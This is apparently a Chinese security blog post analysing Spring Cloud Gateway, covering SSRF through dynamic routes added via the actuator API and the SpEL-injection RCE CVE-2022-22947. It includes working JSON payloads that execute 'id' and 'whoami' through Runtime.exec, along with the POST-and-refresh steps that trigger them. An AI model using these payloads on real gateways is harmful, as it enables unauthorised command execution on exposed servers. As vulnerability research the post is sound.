Spring cloud Gateway
Spring Cloud Gateway aims to provide a simple, yet effective way to route to APIs and provide cross cutting concerns to them such as: security, monitoring/metrics, and resiliency.
架构
Clients make requests to Spring Cloud Gateway. If the Gateway Handler Mapping determines that a request matches a route, it is sent to the Gateway Web Handler. This handler runs the request through a filter chain that is specific to the request. The reason the filters are divided by the dotted line is that filters can run logic both before and after the proxy request is sent. All “pre” filter logic is executed. Then the proxy request is made. After the proxy request is made, the “post” filter logic is run.
客户端发起请求给网关,网关处理映射找到一个匹配的路由,然后发送该给网关的Web处理器,处理器会通过一条特定的Filter链来处理请求,最后会发出代理请求,Filter 不仅仅做出预过滤,代理请求发出后也会进行过滤。
自定义路由
https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api
如果配置了暴露Endpoint ,允许 jmx 或者web访问,则可以通过/gateway 接口与网关进行交互,但通常这些actuator
接口在内网,或者springboot security 设置了内网的ip白名单, 需要存在一些未授权的访问。
配置中允许web访问api
网关允许的操作
增加一个路由
这里是官方提供的Demo,需要的数据里filters没有给,从架构上来看,filters是最主要的,可以通过此来应用filter给路由。
这也是造成漏洞主要原因。添加路由后需要 refresh。
网关的设定就是会向uri发起请求的,他的功能就是这样,按照他的demo,
可以发现路由请求时,会把原始的route一并交给服务器,并不能请求到任意的路径。
所以过滤器的作用就派上用场了。
内置的过滤器
https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#the-rewritepath-gatewayfilter-factory
RewritePath
官方的说法是会执行一个正则的过滤,比如 /red/blue 其实会在请求时 设置为 /blue 这是我们想看到的。
稍微改造一下,
向actuator/gateway/routes/red
post 如下json 数据
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/red/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "/red/?(?<path>.*)",
"_genkey_1": "/${path}"
}
}
],
"uri": "http://xxxx:1234",
"order": 0
}
然后 post /actuator/gateway/refresh
接着访问
那么 SSRF 就成功了。
当然 不仅仅只有这一个过滤器,类似的还有StripPrefix
和SetPath
进入正题,RCE。
CVE-2022-22947
上面的SSRF其实是网关本身的功能就是这样,panda师傅也讲他类似 phpMyAdmin 的后台sql 注入,对味儿了。
网上的漏洞Payload
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
看到是SPEL注入!直接全局 搜**StandardEvaluationContext**
org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue
这是接口的一个静态方法,所有实现类都可以进行调用。
这个接口的名字ShortCutConfigurable
,可以理解为快捷配置。
路由的定义本来是通过配置文件来完成的,程序提供动态路由的定义,程序重启后,动态路由便不存在了。
按照文档的某个样例作为配置文件来启动程序。
spring 和 tomcat 项目的配置中一般都是支持表达式的,在配置中使用是没有问题的且合理的。
程序启动时,配置中的路由会被加载,在org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue
打断点,直接就走到了。
并不是一个合法的spel表达式,所以没有取值,这里的变量其实使用另一种方式获取的。
前面说了,程序是支持动态路由的定义,是否也允许快捷配置的那一套,这样的话,predicates或者filters中的值如果是合法的Spel表达式,那么就会被评估。
{
"predicates":[
{
"name":"Path",
"args":{
"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}
],
"uri":"http://127.0.0.1:9999",
"order":0
}
然后post refresh 接口刷新,载入我们定义的路由,就会触发漏洞。
这是panda师傅的观点,但我认为此漏洞不在于AddResponseHeaderGatewayFilterFactory
,而任何的Filter和predicates都会触发,在载入路由的时候(refresh 或者 程序启动时)。
参考
https://www.cnpanda.net/sec/1159.html
https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/